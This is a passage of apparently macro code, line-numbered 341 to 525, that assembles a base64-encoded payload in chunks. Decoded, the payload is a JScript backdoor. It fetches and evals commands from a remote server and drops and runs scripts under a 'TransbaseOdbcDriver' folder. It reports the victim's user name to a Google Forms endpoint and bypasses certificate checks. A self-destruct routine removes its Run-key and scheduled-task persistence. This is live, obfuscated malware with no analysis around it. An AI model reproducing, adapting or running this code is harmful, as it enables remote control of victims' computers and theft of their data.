 f = f & "JCQkJCQljbWJfb2IuYyA9IGNvbW1hbmRbMl07DQoJCQkJCQkJCWNtYl9vYi5sID0gY29tbWFuZF"
341
 f = f & "sxXTsNCgkJCQkJCQkJY21iX29iLmZsYWcgPSB0cnVlOw0KCQkJCQkJCX1lbHNlew0KCQkJCQkJC"
342
 f = f & "QljbWJfb2IuZmxhZyA9IGZhbHNlOw0KCQkJCQkJCX0NCgkJCQkJCQlsZWdjID0gMDsNCgkJCQkJ"
343
 f = f & "CX1lbHNlew0KCQkJCQkJCWxlZ2MgPSBwYXJzZUludChsZWdjKSsxOw0KCQkJCQkJfQ0KCQkJCQk"
344
 f = f & "JDQoJCQkJCQlsZWdjID0gc2V0TGFzdEV4ZUdvb2dDbWQobGVnYyk7DQoJCQkJCQlpZihsZWdjID"
345
 f = f & "49IDEgJiYgbGVnYyA8PTQpcmV0dXJuOw0KCQkJCQkJDQoJCQkJCQlpZiggIWNtYl9vYi5mbGFnI"
346
 f = f & "Cl7DQoJCQkJCQkJdmFyIHBiX2NvbSA9IEluZXRSZWFkKGxpbmtQQik7DQoJCQkJCQkJaWYoIHBi"
347
 f = f & "X2NvbVsnc3RhdCddID49IDIwMCAmJiAgcGJfY29tWydzdGF0J10gPCAzMDApew0KCQkJCQkJCQl"
348
 f = f & "2YXIganNuID0gZXZhbCAoIigiICsgcGJfY29tWyd0ZXh0J10gKyAiKSIpOw0KCQkJCQkJCQljbW"
349
 f = f & "Jfb2IuYyA9IGpzblsiY29kZSJdOw0KCQkJCQkJCQljbWJfb2IubCA9IGpzblsnbGFzdCddOw0KC"
350
 f = f & "QkJCQkJCQljbWJfb2IuZmxhZyA9IHRydWU7DQoJCQkJCQkJfWVsc2V7DQoJCQkJCQkJCWNtYl9v"
351
 f = f & "Yi5mbGFnID0gZmFsc2U7DQoJCQkJCQkJfQ0KCQkJCQkJfQ0KCQkJCQkJDQoJCQkJCQlpZiggY21"
352
 f = f & "iX29iLmZsYWcgKXsNCgkJCQkJCQlpZihsYXN0ICE9IGNtYl9vYi5sKXsNCgkJCQkJCQkJLy9sYX"
353
 f = f & "N0ID0gY21iX29iLmw7DQoJCQkJCQkJCXZhciByID0gVGV4dEZpbGVDcmVhdGUoIiVBTExVU0VSU"
354
 f = f & "1BST0ZJTEUlXFxUcmFuc2Jhc2VPZGJjRHJpdmVyXFxkdHRzZy50eHQiKTsNCgkJCQkJCQkJci5X"
355
 f = f & "cml0ZShjbWJfb2IubCk7DQoJCQkJCQkJCXIuQ2xvc2UoKTsNCgkJCQkJCQkJTG9nKCJHZXRDb21"
356
 f = f & "tYW5kOjoiICsgY21iX29iLmMpOw0KCQkJCQkJCQkvL2V2YWwoY21iX29iLmMpOw0KCQkJCQkJCQ"
357
 f = f & "lpZihsYXN0ID09ICIiKXJldHVybjsNCgkJCQkJCQkJDQoJCQkJCQkJCXZhciBjb2RfZGF0YSA9I"
358
 f = f & "EJhc2U2NC5kZWNvZGUoY21iX29iLmMpOwkJCQkJCQkJDQoJCQkJCQkJCWlmKGNvZF9kYXRhID09"
359
 f = f & "ICJkZWxldGVCb3QiKWRlc3Ryb3koKTsNCg0KCQkJCQkJCQl2YXIgdGVtcG5hbWUxID0gIkxhbkN"
360
 f = f & "yYWREcml2ZXIuaW5pIjsNCgkJCQkJCQkJdmFyIHRlbXBuYW1lMiA9ICJMYW5DcmFkRHJpdmVyLn"
361
 f = f & "ZicyI7DQoJCQkJCQkJCXZhciB0bXBQYXRoID0gV3NoU2hlbGwuRXhwYW5kRW52aXJvbm1lbnRTd"
362
 f = f & "HJpbmdzKCIlQUxMVVNFUlNQUk9GSUxFJVxcVHJhbnNiYXNlT2RiY0RyaXZlciIpOw0KCQkJCQkJ"
363
 f = f & "CQl2YXIgdGVtcGF0aDEgPSB0bXBQYXRoICsgIlxcIit0ZW1wbmFtZTE7DQoJCQkJCQkJCXZhciB"
364
 f = f & "0ZW1wYXRoMiA9IHRtcFBhdGggKyAiXFwiK3RlbXBuYW1lMjsNCgkJCQkJCQkJDQoJCQkJCQkJCX"
365
 f = f & "ZhciBmID0gRlNPLk9wZW5UZXh0RmlsZSh0ZW1wYXRoMSwyLGZhbHNlLC0xKTsNCgkJCQkJCQkJZ"
366
 f = f & "i5Xcml0ZShjb2RfZGF0YSk7DQoJCQkJCQkJCWYuQ2xvc2UoKTsNCiAgICAgICAgICAgICAgICAg"
367
 f = f & "ICAgICAgICAgICAgICAgDQoJCQkJCQkJCVdTY3JpcHQuU2xlZXAoNTAwMCk7DQoJCQkJCQkJCVd"
368
 f = f & "zaFNoZWxsLlJ1bignY21kLmV4ZSAvayB3c2NyaXB0LmV4ZSAiJyArIHRlbXBhdGgyICsgJyInLD"
369
 f = f & "AsZmFsc2UpOwkNCgkJCQkJCQl9CQkJCQkJCQ0KCQkJCQkJfWVsc2V7DQoJCQkJCQkJTG9nKCJHZ"
370
 f = f & "XRDb21tYW5kOjoiICsgIm5vIGV4ZWN0Iik7DQoJCQkJCQl9CQkJCQkNCiAgICAgICAgICAgICAg"
371
 f = f & "ICB9IGNhdGNoIChlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBMb2coIkdldENvbW1hbmQ"
372
 f = f & "6OiIgKyBlLmRlc2NyaXB0aW9uKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgIH0NCiANCi"
373
 f = f & "AgICAgICAgZnVuY3Rpb24gZ2V0UmFuZG9tSW50KG1pbiwgbWF4KSB7DQogICAgICAgICAgICAgI"
374
 f = f & "CAgcmV0dXJuIE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIChtYXggLSBtaW4gKyAxKSkgKyBt"
375
 f = f & "aW47DQogICAgICAgIH0NCiANCiAgICAgICAgZnVuY3Rpb24gR2V0U2NyaXB0RGlyKCkgew0KICA"
376
 f = f & "gICAgICAgICAgICAgIHJldHVybiBHZXRTY3JpcHRGdWxsUGF0aCgpLnJlcGxhY2UoL1teXFxdKy"
377
 f = f & "QvZywgIiIpOw0KICAgICAgICB9DQogDQogICAgICAgIGZ1bmN0aW9uIEdldFNjcmlwdEZ1bGxQY"
378
 f = f & "XRoKCkgew0KICAgICAgICAgICAgICAgIGlmIChHbG9iYWxPYmplY3QubG9jYXRpb24gJiYgR2xv"
379
 f = f & "YmFsT2JqZWN0LmxvY2F0aW9uLmhyZWYpIHJldHVybiB1bmVzY2FwZShsb2NhdGlvbi5ocmVmLnJ"
380
 f = f & "lcGxhY2UoL14uK1wvXC9cLy8sICIiKS5yZXBsYWNlKC9cLy9nLCAiXFwiKSk7DQogICAgICAgIC"
381
 f = f & "AgICAgICAgaWYgKEdsb2JhbE9iamVjdC5XU2NyaXB0KSByZXR1cm4gV1NjcmlwdC5TY3JpcHRGd"
382
 f = f & "WxsTmFtZTsNCiAgICAgICAgICAgICAgICByZXR1cm4gIiI7DQogICAgICAgIH0NCiANCiAgICAg"
383
 f = f & "ICAgZnVuY3Rpb24gSFRNTFBhcnNlKGNvZGUsIGRvbnRfcHJldmVudF9jb2RlX2V4ZWMpIHsNCiA"
384
 f = f & "gICAgICAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGRvY3VtZW"
385
 f = f & "50ID0gbmV3IEFjdGl2ZVhPYmplY3QoIkhUTUxGaWxlIik7DQogICAgICAgICAgICAgICAgICAgI"
386
 f = f & "CAgICBpZiAoIWRvbnRfcHJldmVudF9jb2RlX2V4ZWMpIGRvY3VtZW50LmRlc2lnbk1vZGUgPSAi"
387
 f = f & "b24iOw0KICAgICAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQud3JpdGUoY29kZSk7DQogICA"
388
 f = f & "gICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5jbG9zZSgpOw0KICAgICAgICAgICAgICAgIC"
389
 f = f & "AgICAgICAgaWYgKCFkb250X3ByZXZlbnRfY29kZV9leGVjKSBkb2N1bWVudC5leGVjQ29tbWFuZ"
390
 f = f & "Cgic3RvcCIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGRvY3VtZW50LnBhcmVu"
391
 f = f & "dFdpbmRvdzsNCiAgICAgICAgICAgICAgICB9IGNhdGNoIChlKSB7DQogICAgICAgICAgICAgICA"
392
 f = f & "gICAgICAgICBMb2coIkhUTUxQYXJzZTo6IiArIGUuZGVzY3JpcHRpb24pDQogICAgICAgICAgIC"
393
 f = f & "AgICAgfTsNCiAgICAgICAgICAgICAgICByZXR1cm4ge307DQogICAgICAgIH0NCiANCiAgICAgI"
394
 f = f & "CAgZnVuY3Rpb24gTG9nKHZhbHVlKSB7DQogICAgICAgICAgICAgICAgdmFsdWUgPSB2YWx1ZSB8"
395
 f = f & "fCAiIjsNCgkJCQl2YWx1ZQ0KICAgICAgICAgICAgICAgIHZhbHVlID0gZ3VpZCArICIkJCQiICs"
396
 f = f & "gYm90Y2xhc3MgKyAiOjoiICsgR2V0VXNlck5hbWUoKSArICI6OiIgKyBlbmNvZGVVUkkodmFsdW"
397
 f = f & "UpOw0KCQkJCUxvZ0luZXQodmFsdWUsZm9ybWtleSxlbnRyeSk7DQogICAgICAgIH0NCiANCiAgI"
398
 f = f & "CAgICAgZnVuY3Rpb24gRmlsZUV4aXN0cyhQYXRoKSB7DQogICAgICAgICAgICAgICAgUGF0aCA9"
399
 f = f & "IFdzaFNoZWxsLkV4cGFuZEVudmlyb25tZW50U3RyaW5ncyhQYXRoKTsNCiAgICAgICAgICAgICA"
400
 f = f & "gICByZXR1cm4gRlNPLkZvbGRlckV4aXN0cyhQYXRoKSB8fCBGU08uRmlsZUV4aXN0cyhQYXRoKT"
401
 f = f & "sNCiAgICAgICAgfQ0KIA0KICAgICAgICBmdW5jdGlvbiBUZXh0RmlsZVJlYWQoUGF0aCkgew0KI"
402
 f = f & "CAgICAgICAgICAgICAgIGlmICghUGF0aCkgcmV0dXJuICIiOw0KICAgICAgICAgICAgICAgIGlm"
403
 f = f & "ICghRmlsZUV4aXN0cyhQYXRoKSkgcmV0dXJuICIiOw0KICAgICAgICAgICAgICAgIFBhdGggPSB"
404
 f = f & "Xc2hTaGVsbC5FeHBhbmRFbnZpcm9ubWVudFN0cmluZ3MoUGF0aCk7DQogICAgICAgICAgICAgIC"
405
 f = f & "AgaWYgKEZTTy5HZXRGaWxlKFBhdGgpLlNpemUgPT0gMCkgcmV0dXJuICIiOw0KICAgICAgICAgI"
406
 f = f & "CAgICAgIHRyeSB7DQogICAgICAgICAgICAgICAgICAgICAgICB2YXIgU3RyZWFtID0gRlNPLk9w"
407
 f = f & "ZW5UZXh0RmlsZShQYXRoLCAxLCAwLCAtMiksDQogICAgICAgICAgICAgICAgICAgICAgICAgICA"
408
 f = f & "gICAgIFJlc3VsdCA9IFN0cmVhbS5SZWFkQWxsKCk7DQogICAgICAgICAgICAgICAgICAgICAgIC"
409
 f = f & "BTdHJlYW0uQ2xvc2UoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBSZXN1bHQ7D"
410
 f = f & "QogICAgICAgICAgICAgICAgfSBjYXRjaCAoZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAg"
411
 f = f & "Ly9Mb2coIlRleHRGaWxlUmVhZDo6IiArIFBhdGggKyAiOjoiICsgZS5kZXNjcml0aW9uKTsNCiA"
412
 f = f & "gICAgICAgICAgICAgICB9Ow0KICAgICAgICB9DQogDQogICAgICAgIGZ1bmN0aW9uIFRleHRGaW"
413
 f = f & "xlQ3JlYXRlKFBhdGgpIHsNCiAgICAgICAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgICAgI"
414
 f = f & "CAgICAgICAgUGF0aCA9IFdzaFNoZWxsLkV4cGFuZEVudmlyb25tZW50U3RyaW5ncyhQYXRoKTsN"
415
 f = f & "CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChGaWxlRXhpc3RzKFBhdGgpKSBGU08uRGVsZXR"
416
 f = f & "lRmlsZShQYXRoLCB0cnVlKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBGU08uT3"
417
 f = f & "BlblRleHRGaWxlKFBhdGgsIDIsIDEsIC0xKQ0KICAgICAgICAgICAgICAgIH0gY2F0Y2ggKGUpI"
418
 f = f & "HsNCiAgICAgICAgICAgICAgICAgICAgICAgIExvZygiVGV4dEZpbGVDcmVhdGU6OiIgKyBlLmRl"
419
 f = f & "c2NyaXB0aW9uKQ0KICAgICAgICAgICAgICAgIH07DQogICAgICAgICAgICAgICAgcmV0dXJuIG5"
420
 f = f & "1bGw7DQogICAgICAgIH0NCiANCiAgICAgICAgZnVuY3Rpb24gR2VuZXJhdGVTdHJpbmcoTCkgew"
421
 f = f & "0KICAgICAgICAgICAgICAgIGlmICghTCkgTCA9IDg7DQogICAgICAgICAgICAgICAgcmV0dXJuI"
422
 f = f & "G5ldyBBY3RpdmVYT2JqZWN0KCJTY3JpcHRsZXQuVHlwZUxpYiIpLkd1aWQucmVwbGFjZSgvW15c"
423
 f = f & "d10rL2csICIiKS5zbGljZSgwLCBMKTsNCiAgICAgICAgfQ0KIA0KICAgICAgICBmdW5jdGlvbiB"
424
 f = f & "DcmVhdGVPYmplY3QoUHJvZ0lkKSB7DQogICAgICAgICAgICAgICAgcmV0dXJuIG5ldyBBY3Rpdm"
425
 f = f & "VYT2JqZWN0KFByb2dJZCk7DQogICAgICAgIH0NCiANCiAgICAgICAgZnVuY3Rpb24gR2V0VXNlc"
426
 f = f & "k5hbWUoKSB7DQogICAgICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICAgICAgICAg"
427
 f = f & "IHJldHVybiBDcmVhdGVPYmplY3QoIldTY3JpcHQuTmV0V29yayIpLlVzZXJOYW1lOw0KICAgICA"
428
 f = f & "gICAgICAgICAgIH0gY2F0Y2ggKGUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIExvZygiR2"
429
 f = f & "V0VXNlck5hbWU6OiIgKyBlLmRlc2NyaXB0aW9uKTsNCiAgICAgICAgICAgICAgICAgICAgICAgI"
430
 f = f & "HJldHVybiAiVW5rbm93biINCiAgICAgICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAg"
431
 f = f & "ICBmdW5jdGlvbiBnZXRMYXN0RXhlR29vZ0NtZCgpIHsNCgkJCXZhciByZWdWYWx1ZSA9IDA7DQo"
432
 f = f & "JCQl0cnkgewkJCQ0KCQkJCXJlZ1ZhbHVlID0gV3NoU2hlbGwuUmVnUmVhZChrZXlQYXRoKTsNCg"
433
 f = f & "kJCX0gY2F0Y2ggKGUpIHsNCgkJCQlzZXRMYXN0RXhlR29vZ0NtZChyZWdWYWx1ZSk7DQoJCQl9D"
434
 f = f & "QoJCQlyZXR1cm4gcmVnVmFsdWU7DQogICAgICAgIH0NCiAgICAgICAgZnVuY3Rpb24gc2V0TGFz"
435
 f = f & "dEV4ZUdvb2dDbWQocmVnVmFsdWUpIHsNCgkJCXRyeSB7CQkJDQoJCQkJV3NoU2hlbGwuUmVnV3J"
436
 f = f & "pdGUoa2V5UGF0aCxyZWdWYWx1ZSwgIlJFR19TWiIpOwkJCQ0KCQkJfSBjYXRjaCAoZSkgew0KCQ"
437
 f = f & "kJCXJldHVybiAtMTsNCgkJCX0NCgkJCXJldHVybiByZWdWYWx1ZTsJCQkJCQkNCiAgICAgICAgf"
438
 f = f & "Q0KCQkNCgkJZnVuY3Rpb24gc0RPUzJXaW4oc1RleHQsIGJJbnNpZGVPdXQpIHsNCgkJICB2YXIg"
439
 f = f & "YUNoYXJzZXRzID0gWyJ3aW5kb3dzLTEyNTEiLCAiY3A4NjYiXTsNCgkJICBzVGV4dCArPSAiIjs"
440
 f = f & "NCgkJICBiSW5zaWRlT3V0ID0gYkluc2lkZU91dCA/IDEgOiAwOw0KCQkgIHdpdGggKG5ldyBBY3"
441
 f = f & "RpdmVYT2JqZWN0KCJBRE9EQi5TdHJlYW0iKSkgeyANCgkJCXR5cGUgPSAyOyAvL0JpbmFyeSAxL"
442
 f = f & "CBUZXh0IDIgKGRlZmF1bHQpIA0KCQkJbW9kZSA9IDM7IC8vUGVybWlzc2lvbnMgaGF2ZSBub3Qg"
443
 f = f & "YmVlbiBzZXQgMCwgIFJlYWQtb25seSAxLCAgV3JpdGUtb25seSAyLCAgUmVhZC13cml0ZSAzLCA"
444
 f = f & "gDQoJCQkvL1ByZXZlbnQgb3RoZXIgcmVhZCA0LCAgUHJldmVudCBvdGhlciB3cml0ZSA4LCAgUH"
445
 f = f & "JldmVudCBvdGhlciBvcGVuIDEyLCAgQWxsb3cgb3RoZXJzIGFsbCAxNg0KCQkJY2hhcnNldCA9I"
446
 f = f & "GFDaGFyc2V0c1tiSW5zaWRlT3V0XTsNCgkJCW9wZW4oKTsNCgkJCXdyaXRlVGV4dChzVGV4dCk7"
447
 f = f & "DQoJCQlwb3NpdGlvbiA9IDA7DQoJCQljaGFyc2V0ID0gYUNoYXJzZXRzWzEgLSBiSW5zaWRlT3V"
448
 f = f & "0XTsNCgkJCXJldHVybiByZWFkVGV4dCgpOw0KCQkgIH0NCgkJfQkJDQoNCgkJZnVuY3Rpb24gZG"
449
 f = f & "VzdHJveSgpew0KCQkJdHJ5IHsNCgkJCQlXc2hTaGVsbC5SZWdEZWxldGUoIkhLRVlfQ1VSUkVOV"
450
 f = f & "F9VU0VSXFxTb2Z0d2FyZVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxDdXJyZW50VmVyc2lvblxcUnVu"
451
 f = f & "XFxUcmFuc2Jhc2VPZGJjRHJpdmVyIik7CQkNCgkJCX1jYXRjaChlKXt9DQoNCgkJCXRyeSB7DQo"
452
 f = f & "JCQkJV3NoU2hlbGwuUnVuKCdzY2h0YXNrcyAvZGVsZXRlIC90biAiU3lzQ2hlY2tzIiAvZicsID"
453
 f = f & "AsIGZhbHNlKTsNCgkJCX1jYXRjaChlKXt9DQoNCgkJCXZhciBzdHJTY3JpcHREaXIgPSBXc2hTa"
454
 f = f & "GVsbC5FeHBhbmRFbnZpcm9ubWVudFN0cmluZ3MoIiVBTExVU0VSU1BST0ZJTEUlXFxUcmFuc2Jh"
455
 f = f & "c2VPZGJjRHJpdmVyIik7DQoJCQl2YXIgc3RyU2NyaXB0ID0gIiI7DQoJCQkNCgkJCXRyeSB7DQo"
456
 f = f & "JCQkJc3RyU2NyaXB0ID0gV1NjcmlwdC5TY3JpcHRGdWxsTmFtZTsNCgkJCQlpZihGU08uRmlsZU"
457
 f = f & "V4aXN0cyhzdHJTY3JpcHQpKXsgRlNPLkRlbGV0ZUZpbGUoc3RyU2NyaXB0LCB0cnVlKTsJfQ0KC"
458
 f = f & "QkJfWNhdGNoKGUpe30JDQoNCgkJCXRyeSB7DQoJCQkJc3RyU2NyaXB0ID0gc3RyU2NyaXB0RGly"
459
 f = f & "ICsgIlxcTGFuQ3JhZERyaXZlci5pbmkiOyANCgkJCQlpZihGU08uRmlsZUV4aXN0cyhzdHJTY3J"
460
 f = f & "pcHQpKXsgRlNPLkRlbGV0ZUZpbGUoc3RyU2NyaXB0LCB0cnVlKTsJfQ0KCQkJfWNhdGNoKGUpe3"
461
 f = f & "0JDQoJCQl0cnkgew0KCQkJCXN0clNjcmlwdCA9IHN0clNjcmlwdERpciArICJcXExhbkNyYWREc"
462
 f = f & "ml2ZXIudmJzIjsgDQoJCQkJaWYoRlNPLkZpbGVFeGlzdHMoc3RyU2NyaXB0KSl7IEZTTy5EZWxl"
463
 f = f & "dGVGaWxlKHN0clNjcmlwdCwgdHJ1ZSk7CX0NCgkJCX1jYXRjaChlKXt9CQ0KCQkJdHJ5IHsNCgk"
464
 f = f & "JCQlzdHJTY3JpcHQgPSBzdHJTY3JpcHREaXIgKyAiXFxzdGFydGVyLnZicyI7IA0KCQkJCWlmKE"
465
 f = f & "ZTTy5GaWxlRXhpc3RzKHN0clNjcmlwdCkpeyBGU08uRGVsZXRlRmlsZShzdHJTY3JpcHQsIHRyd"
466
 f = f & "WUpOwl9DQoJCQl9Y2F0Y2goZSl7fQkNCgkJCXRyeSB7DQoJCQkJc3RyU2NyaXB0ID0gc3RyU2Ny"
467
 f = f & "aXB0RGlyICsgIlxccGF0aGVyLnZicyI7IA0KCQkJCWlmKEZTTy5GaWxlRXhpc3RzKHN0clNjcml"
468
 f = f & "wdCkpeyBGU08uRGVsZXRlRmlsZShzdHJTY3JpcHQsIHRydWUpOwl9DQoJCQl9Y2F0Y2goZSl7fQ"
469
 f = f & "kNCgkJCXRyeSB7DQoJCQkJc3RyU2NyaXB0ID0gc3RyU2NyaXB0RGlyICsgIlxccGF0aGVyLmlua"
470
 f = f & "SI7IA0KCQkJCWlmKEZTTy5GaWxlRXhpc3RzKHN0clNjcmlwdCkpeyBGU08uRGVsZXRlRmlsZShz"
471
 f = f & "dHJTY3JpcHQsIHRydWUpOwl9DQoJCQl9Y2F0Y2goZSl7fQkNCgkJCQkJCQ0KCQkJV1NjcmlwdC5"
472
 f = f & "RdWl0KCk7CQkJDQoJCX0JCQkNCn0NCg0KZnVuY3Rpb24gQ3JlYXRlRGlyKCl7DQoJdHJ5IHsNCg"
473
 f = f & "kJdmFyIFdzaFNoZWxsID0gbmV3IEFjdGl2ZVhPYmplY3QoIldTY3JpcHQuU2hlbGwiKTsNCgkJd"
474
 f = f & "mFyIGRpcnBhdGggPSBXc2hTaGVsbC5FeHBhbmRFbnZpcm9ubWVudFN0cmluZ3MoIiVBTExVU0VS"
475
 f = f & "U1BST0ZJTEUlXFxUcmFuc2Jhc2VPZGJjRHJpdmVyIik7CQkNCgkJdmFyIEZTTyA9IFdTY3JpcHQ"
476
 f = f & "uQ3JlYXRlT2JqZWN0KCJTY3JpcHRpbmcuRmlsZVN5c3RlbU9iamVjdCIpOyAJCQ0KCQlpZighRl"
477
 f = f & "NPLkZvbGRlckV4aXN0cyhkaXJwYXRoKSl7DQoJCQlGU08uQ3JlYXRlRm9sZGVyKGRpcnBhdGgpO"
478
 f = f & "w0KCQl9DQoJCXJldHVybiB0cnVlOw0KCX1jYXRjaChlKXt9DQoJcmV0dXJuIHRydWU7DQp9CQ0K"
479
 f = f & "DQpmdW5jdGlvbiBnZXRQcm94eSgpew0KCXZhciBXc2hTaGVsbCA9IG5ldyBBY3RpdmVYT2JqZWN"
480
 f = f & "0KCJXU2NyaXB0LlNoZWxsIik7DQoJDQoJdHJ5IHsNCgkJdmFyIFByb3h5RW5hYmxlID0gV3NoU2"
481
 f = f & "hlbGwuUmVnUmVhZCgiSEtFWV9DVVJSRU5UX1VTRVJcXFNvZnR3YXJlXFxNaWNyb3NvZnRcXFdpb"
482
 f = f & "mRvd3NcXEN1cnJlbnRWZXJzaW9uXFxJbnRlcm5ldCBTZXR0aW5nc1xcUHJveHlFbmFibGUiKTsN"
483
 f = f & "CgkJaWYoUHJveHlFbmFibGUgPT0gMSl7DQoJCQl2YXIgUHJveHlTZXJ2ZXIgPSBXc2hTaGVsbC5"
484
 f = f & "SZWdSZWFkKCJIS0VZX0NVUlJFTlRfVVNFUlxcU29mdHdhcmVcXE1pY3Jvc29mdFxcV2luZG93c1"
485
 f = f & "xcQ3VycmVudFZlcnNpb25cXEludGVybmV0IFNldHRpbmdzXFxQcm94eVNlcnZlciIpOw0KCQkJc"
486
 f = f & "mV0dXJuIFByb3h5U2VydmVyOw0KCQl9ZWxzZXsNCgkJCXJldHVybiAiIjsNCgkJfQ0KCX0gY2F0"
487
 f = f & "Y2ggKGUpIHsNCgkJcmV0dXJuICIiOw0KCX0JCQkNCn0NCg0KZnVuY3Rpb24gSW5ldFJlYWQodXJ"
488
 f = f & "sKSB7DQoJCXZhciBkYXRhX3NhdGF1c19hcnIgPSBuZXcgT2JqZWN0KCk7DQoJCXRyeSB7DQoJCQ"
489
 f = f & "kJdmFyIGh0dHBSZXEgPSBuZXcgQWN0aXZlWE9iamVjdCgiTXN4bWwyLlNlcnZlclhNTEhUVFAuN"
490
 f = f & "i4wIik7DQoJCQkJaHR0cFJlcS5zZXRPcHRpb24oMiwgMTMwNTYpOyAvL1NYSF9TRVJWRVJfQ0VS"
491
 f = f & "VF9JR05PUkVfQUxMX1NFUlZFUl9FUlJPUlMgPSAxMzA1NjsgIFNYSF9PUFRJT05fVVJMID0gLTE"
492
 f = f & "NCgkJCQlodHRwUmVxLnNldFRpbWVvdXRzKDAsIDAsIDAsIDApOw0KCQkJCWh0dHBSZXEub3Blbi"
493
 f = f & "giR0VUIiwgdXJsLCBmYWxzZSk7DQoJCQkJdmFyIHByb3ggPSBnZXRQcm94eSgpDQoJCQkJaWYoI"
494
 f = f & "HByb3ggIT0gIiIpew0KCQkJCQlodHRwUmVxLnNldFByb3h5KDIsIHByb3gsICIiKTsNCgkJCQl9"
495
 f = f & "CQkJCQ0KCQkJCWh0dHBSZXEuc2V0UmVxdWVzdEhlYWRlcigiVXNlci1hZ2VudCIsICJNb3ppbGx"
496
 f = f & "hLzUuMCAoTGludXg7IFU7IEFuZHJvaWQgMi4zLjM7IHpoLXR3OyBIVEMgUHlyYW1pZCBCdWlsZC"
497
 f = f & "9HUkk0MCkgQXBwbGVXZWJLaXQvNTMzLjEgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzQuM"
498
 f = f & "CBNb2JpbGUgU2FmYXJpLzUzMy4xIik7DQoJCQkJaHR0cFJlcS5zZW5kKCk7DQoJCQkJLy9XU2Ny"
499
 f = f & "aXB0LkVjaG8oaHR0cFJlcS5nZXRBbGxSZXNwb25zZUhlYWRlcnMoKSk7DQoJCQkJLy9XU2NyaXB"
500
 f = f & "0LkVjaG8oaHR0cFJlcS5zdGF0dXMpOw0KCQkJCWRhdGFfc2F0YXVzX2Fyclsnc3RhdCddID0gaH"
501
 f = f & "R0cFJlcS5zdGF0dXM7DQoJCQkJZGF0YV9zYXRhdXNfYXJyWyd0ZXh0J10gPSBodHRwUmVxLnJlc"
502
 f = f & "3BvbnNlVGV4dDsNCgkJfSBjYXRjaCAoZSkgeyANCgkJCS8vV1NjcmlwdC5FY2hvKGh0dHBSZXEu"
503
 f = f & "c3RhdHVzKTsNCgkJCWRhdGFfc2F0YXVzX2FyclsndGV4dCddID0gIiI7DQoJCQlkYXRhX3NhdGF"
504
 f = f & "1c19hcnJbJ3N0YXQnXSA9ICIxMDAiOw0KCQl9Ow0KCQlyZXR1cm4gZGF0YV9zYXRhdXNfYXJyOw"
505
 f = f & "0KfQ0KDQpmdW5jdGlvbiBMb2dJbmV0KHZhbHVlLGZvcm1rZXksZW50cnkpIHsNCgl0cnkgew0KC"
506
 f = f & "Ql2YXIgaHR0cFJlcSA9IG5ldyBBY3RpdmVYT2JqZWN0KCJNc3htbDIuU2VydmVyWE1MSFRUUC42"
507
 f = f & "LjAiKTsNCgkJaHR0cFJlcS5zZXRPcHRpb24oMiwgMTMwNTYpOyANCgkJaHR0cFJlcS5zZXRUaW1"
508
 f = f & "lb3V0cygwLCAwLCAwLCAwKTsNCgkJdXJsID0gImh0dHBzOi8vZG9jcy5nb29nbGUuY29tL2Zvcm"
509
 f = f & "1zL2QvIiArIGZvcm1rZXkgKyAiL2Zvcm1SZXNwb25zZSI7DQoJCWh0dHBSZXEub3BlbigiUE9TV"
510
 f = f & "CIsIHVybCwgZmFsc2UpOw0KCQl2YXIgcHJveCA9IGdldFByb3h5KCkNCgkJaWYoIHByb3ggIT0g"
511
 f = f & "IiIpew0KCQkJaHR0cFJlcS5zZXRQcm94eSgyLCBwcm94LCAiIik7DQoJCX0NCgkJaHR0cFJlcS5"
512
 f = f & "zZXRSZXF1ZXN0SGVhZGVyKCJVc2VyLWFnZW50IiwgIk1vemlsbGEvNS4wIChMaW51eDsgVTsgQW"
513
 f = f & "5kcm9pZCAyLjMuMzsgemgtdHc7IEhUQyBQeXJhbWlkIEJ1aWxkL0dSSTQwKSBBcHBsZVdlYktpd"
514
 f = f & "C81MzMuMSAoS0hUTUwsIGxpa2UgR2Vja28pIFZlcnNpb24vNC4wIE1vYmlsZSBTYWZhcmkvNTMz"
515
 f = f & "LjEiKTsNCgkJaHR0cFJlcS5zZXRSZXF1ZXN0SGVhZGVyKCJDb250ZW50LVR5cGUiLCAiYXBwbGl"
516
 f = f & "jYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIik7CQ0KCQlodHRwUmVxLnNlbmQoZW50cnkgKy"
517
 f = f & "AiPSIgKyB2YWx1ZSk7DQoJfSBjYXRjaCAoZSkge30NCn0NCiANCmZ1bmN0aW9uIHNwbGl0KHN0c"
518
 f = f & "iwgc2VwYXJhdG9yLCBsaW1pdCkgew0KCXN0ciA9IHN0ci5zcGxpdChzZXBhcmF0b3IpOw0KCWlm"
519
 f = f & "KHN0ci5sZW5ndGggPD0gbGltaXQpIHJldHVybiBzdHI7DQoNCgl2YXIgcmV0ID0gc3RyLnNwbGl"
520
 f = f & "jZSgwLCBsaW1pdCk7DQoJcmV0LnB1c2goc3RyLmpvaW4oc2VwYXJhdG9yKSk7DQoNCglyZXR1cm"
521
 f = f & "4gcmV0Ow0KfQ0KDQpmdW5jdGlvbiBDVUlEKCl7DQoJdmFyIHNuID0gIjEiOw0KCXRyeSB7DQoJC"
522
 f = f & "XZhciBGU08gPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgiU2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmpl"
523
 f = f & "Y3QiKTsgDQoJCXZhciBzdHJEcml2ZSA9IEZTTy5HZXREcml2ZU5hbWUoRlNPLkdldFNwZWNpYWx"
524
 f = f & "Gb2xkZXIoMCkpOw0KCQl2YXIgRCA9IEZTTy5HZXREcml2ZShzdHJEcml2ZSk7DQoJCXNuID0gRC"
525
